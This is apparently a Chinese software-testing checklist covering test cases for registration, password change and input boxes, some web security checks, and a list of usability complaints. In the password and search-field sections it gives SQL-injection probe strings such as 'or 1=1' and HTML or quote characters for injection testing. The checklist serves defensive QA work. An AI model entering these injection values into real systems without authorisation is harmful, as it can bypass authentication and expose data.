同个浏览器打开两个页面，一个页面权限失效后，另一个页面是否可操作成功。

当页面没有CHECKCODE时，查看页面源代码，查是是否有token。如果页面完全是展示页面，是不会有token的。

1. **用户注册**

只从用户名和密码角度写了几个要考虑的测试点，如果需求中明确规定了安全问题，Email，出生日期，地址，性别等等一系列的格式和字符要求，那就都要写用例测了~

以等价类划分和边界值法来分析

1.填写符合要求的数据注册： 用户名字和密码都为最大长度（边界值分析，取上点）

2.填写符合要求的数据注册 ：用户名字和密码都为最小长度（边界值分析，取上点）

3.填写符合要求的数据注册：用户名字和密码都是非最大和最小长度的数据（边界值分析，取内点）

4.必填项分别为空注册

5.用户名长度大于要求注册1位（边界值分析，取离点）

6.用户名长度小于要求注册1位（边界值分析，取离点）

7.密码长度大于要求注册1位（边界值分析，取离点）

8.密码长度小于要求注册1位（边界值分析，取离点）

9.用户名是不符合要求的字符注册（这个可以划分几个无效的等价类，一般写一两个就行了，如含有空格，#等，看需求是否允许吧~）

10.密码是不符合要求的字符注册（这个可以划分几个无效的等价类，一般写一两个就行了）

11.两次输入密码不一致（如果注册时候要输入两次密码，那么这个是必须的）

12.重新注册存在的用户

13.改变存在的用户的用户名和密码的大小写，来注册。（有的需求是区分大小写，有的不区分）

14.看是否支持tap和enter键等；密码是否可以复制粘贴；密码是否以\* 之类的加秘符号显示

备注：边界值的上点、内点和离点大家应该都知道吧，呵呵，这里我就不细说了~~

1. **修改密码**

当然具体情况具体分析哈~不能一概而论~

实际测试中可能只用到其中几条而已，比如银行卡密码的修改，就不用考虑英文和非法字符，更不用考虑那些ＴＡＰ之类的快捷键。而有的需要根据需求具体分析了，比如连续出错多少次出现的提示，和一些软件修改密码要求一定时间内有一定的修改次数限制等等。

1.不输入旧密码，直接改密码

2.输入错误旧密码

3.不输入确认新密码

4.不输入新密码

5.新密码和确认新密码不一致

6.新密码中有空格

7.新密码为空

8.新密码为符合要求的最多字符

9.新密码为符合要求的最少字符

10.新密码为符合要求的非最多和最少字符

11.新密码为最多字符-1

12.新密码为最少字符+1

13.新密码为最多字符+1

14.新密码为最少字符-1

15.新密码为非允许字符（如有的密码要求必须是英文和数字组成，那么要试汉字和符号等）

16.看是否支持tap和enter键等；密码是否可以复制粘贴；密码是否以\* 之类的加秘符号

17.看密码是否区分大小写，新密码中英文小写，确认密码中英文大写

18.新密码与旧密码一样能否修改成功

另外一些其他的想法如下：

1 要测试所有规约中约定可以输入的特殊字符，字母，和数字，要求都可以正常输入、显示正常和添加成功

2 关注规约中的各种限制，比如长度，大否支持大小写。

3 考虑各种特殊情况，比如添加同名用户，系统是否正确校验给出提示信息，管理员帐户是否可以删除，因为有些系统管理员拥有最大权限，一旦删除管理员帐户，就不能在前台添加，这给最终用户会带来很多麻烦。比较特殊的是，当用户名中包括了特殊字符，那么对这类用户名的添加同名，修改，删除，系统是否能够正确实现，我就遇到了一个系统，添加同名用户时，如果以前的用户名没有特殊字符，系统可以给出提示信息，如果以前的用户名包含特殊字符，就不校验在插入数据库的时候报错。后来查到原因了，原来是在java中拼SQL语句的时候，因为有"\_"，所以就调用了一个方法在“\_”，前面加了一个转义字符，后来发现不该调用这个方法。所以去掉就好了。所以对待输入框中的特殊字符要多关注。

4 数值上的长度 之类的，包括出错信息是否合理

5 特殊字符：比如。 / ' " \ </html> 这些是否会造成系统崩溃

6 注入式bug：比如密码输入个or 1=1

7 登录后是否会用明文传递参数

8 访问控制：登录后保存里面的链接，关了浏览器直接复制链接看能不能访问。

**输入框测试**

　　1．验证输入与输出的是否信息一致；

　　2．输入框之前的标题是否正确；

　　3．对特殊字符的处理，尤其是输入信息徐需要发送到数据库的。特殊字符包括：'（单引号）、"（双引号）、[]（中括号）、()（小括号）、{}（大括号）、;（分号）、<>（大于小于号）……

　　4．对输入框输入超过限制的字符的处理，一般非特殊的没有作出限制的在255byte左右；

　　5．输入框本身的大小、长度；

　　6．不同内码的字符的输入；

　　7．对空格、TAB字符的处理机制；

　　8．字符本身显示的颜色；

　　9．密码输入窗口转换成星号或其它符号；

　　10．密码输入框对其中的信息进行加密，防止采用破解星号的方法破解；

　　11．按下ctrl和alt键对输入框的影响；

　　12．对于新增、修改、注册时用的输入框，有限制的，应该输入时作出提示，指出不允许的或者标出允许的；

　　13．对于有约束条件要求的输入框应当在条件满足时输入框的状态发生相应的改变，比如选了湖南就应该列出湖南下面的市，或者选了某些条件之后，一些输入框会关闭或转为只读状态；

　　14．输入类型；根据前面的栏位标题判断该输入框应该输入哪些内容算是合理的。例如，是否允许输入数字或字母，不允许输入其他字符等。

　　15.输入长度；数据库字段有长度定义，当输入过长时，提交数据是否会出错。

　　16.输入状态；当处于某种状态下，输入框是否处于可写或非可写状态。例如，系统自动给予的编号等栏位作为唯一标识，当再次处于编辑状态下，输入框栏位应处于不可写状态，如果可写对其编辑的话，可能会造成数据重复引起冲突等。

　　17．如果是会进行数据库操作的输入框，还可以考虑输入SQL中的一些特殊符号如单引号等,有时会有意想不到的错误出现

　　18．输入类型  
输入长度  
是否允许复制粘贴  
为空的情况  
空格的考虑  
半角全角测试  
对于密码输入框要考虑显示的内容是\*  输入错误时的提示信息及提示信息是否准确

　　19．可以先了解你要测试的输入框在软件系统的某个功能中所扮演的角色，然后了解其具体的输入条件，在将输入条件按照有效等价类，无效等价类，边界值等方法进行测试用例的设计。

　　20．关键字有大小写混合的情况；

　　21．关键字中含有一个或多个空格的情况，包括前空格，中间空格（多个关键字），和后空格；

　　22．关键字中是否支持通配符的情况（视功能而定）；

　　23．关键字的长度分别为9、10、11个字符时的情况；

　　24．关键字是valid，但是没有匹配搜索结果的情况；

　　25．输入html的标签会出现哪些问题？输入<html> 会出现什么问题呢？(这条是我自己发现的，在网上也没找到类似的东东，呵呵，大家凑合着看吧)

　　安全测试方面：

　　给出一些特别的关键字，比如 or 1=1, 这样的关键字如果不被处理就直接用到数据库查询中去，后果可想而知。

**用户体验相关**

我登录失败的时候没有任何提示，这没什么，反正提示也只是说失败…

进去后发现颜色变更很强烈刺得我一眨眼，不过多看几次就习惯了。

点击某个链接的时候出现错误页面，刷新后就好了，难道是随机错误？

保存文字的时候没有成功提示，不过能成功保存就算了。

浏览记录的时候竟然出现错误页面，原来我没有选记录就浏览了，我自己操作不规范嘛。

删除记录的时候发现选错了，想取消的时候却提示删除成功，都没有确认提示，只能下次看仔细点了。

查询时字母键被茶杯压住了多输了点字符，竟然出现错误页面，下次把东西整理好。

无聊随便点点几个链接，竟然没有反应，既然不用，那就不要做出来嘛。

看看自己上传的图片效果如何，这个怎么不显示？多试几次发现名字不包含中文就好了，下次注意下。

改改字体字号颜色美化环境嘛，怎么格式那里不显示正确的字体字号呢，将就用吧。

这里的记录条数怎么这么多啊？原来是没有删除按钮，看来下次不能随便加了。

这个结束时间怎么在开始时间前啊？原来没有进行控制，下面的人执行时……还是自己改过来吧。

上次我在这里看见的图片呢？刷新后就出来了，怎么和我玩捉迷藏呢？

多输了点内容，保存时候提示太多了，点确定后发现被清空了，我一个小时的工作啊！

这张图片真不错，但是按钮呢，按钮呢？按钮被挤掉了我怎么编辑啊。

听说F5是刷新点一下看看。怎么好像变成了登录界面？

刚学了怎么用TAB键，确实很方便。TAB一下。跑哪去了，怎么一片空白啊？？？

玩游戏的人点击速度那么快，我也来试试。怎么一双击就出错了？

我找错别字是很厉害的，这不就发现“同意”写成了“统一”。

这里提示只能输入1－100，我偏要输入9999……保存看看，怎么系统不能用了？

这里一点击就出现IE错误，硬是不弹出我需要的窗口。

这个查询按钮怎么灰掉了？这么多记录让我一页一页翻过去找啊。

上传第二个附件的时候怎么把第一个挤掉了啊，会挤掉也要提示一下嘛。

一个页面上打开的记录太多了，变体都用…省略了，要是鼠标放上去浮动显示完整标题就方便多了。

这几条记录有依存关系，删了一条其他就没了，提示都没有，早知道我就用编辑了……

这条记录怎么好像是昨天的，我记得今天更新了啊？原来编辑后的记录没有传到引用的地方。

最最奇怪的是昨天上传时候正常的图片今天就不能显示了。我记得没有只能显示一天的功能啊？？？

这里怎么没有任何按钮呢，看手册才知道竟然要用右键进行操作，怎么突然冒出个异类啊？？？

这里怎么能增加两条相同的记录呢？不控制一下天知道手下那些愣头青会做出什么来。

这里的菜单一层一层又一层，足足有五层，把我头都绕晕了……我记得哪里说过最好不要超过三层的。

这个界面看起来怎么这么别扭啊，是字体太大了，是按钮太小了，还是功能太多了，……

怎么不是管理员登录进来也能管理啊，那我这个管理员的身份不是多此一举吗？

删除的时候提示Error，幸亏我英语水平好，可是你换成中文不行吗？

这条记录不是删除了吗，怎么还能引用啊，到时候出错了怎么办，难道还要我记住删了那些记录？

经过精心编辑，我发了一条通知，怎么用普通用户查看的时候是默认的字体字号啊？？？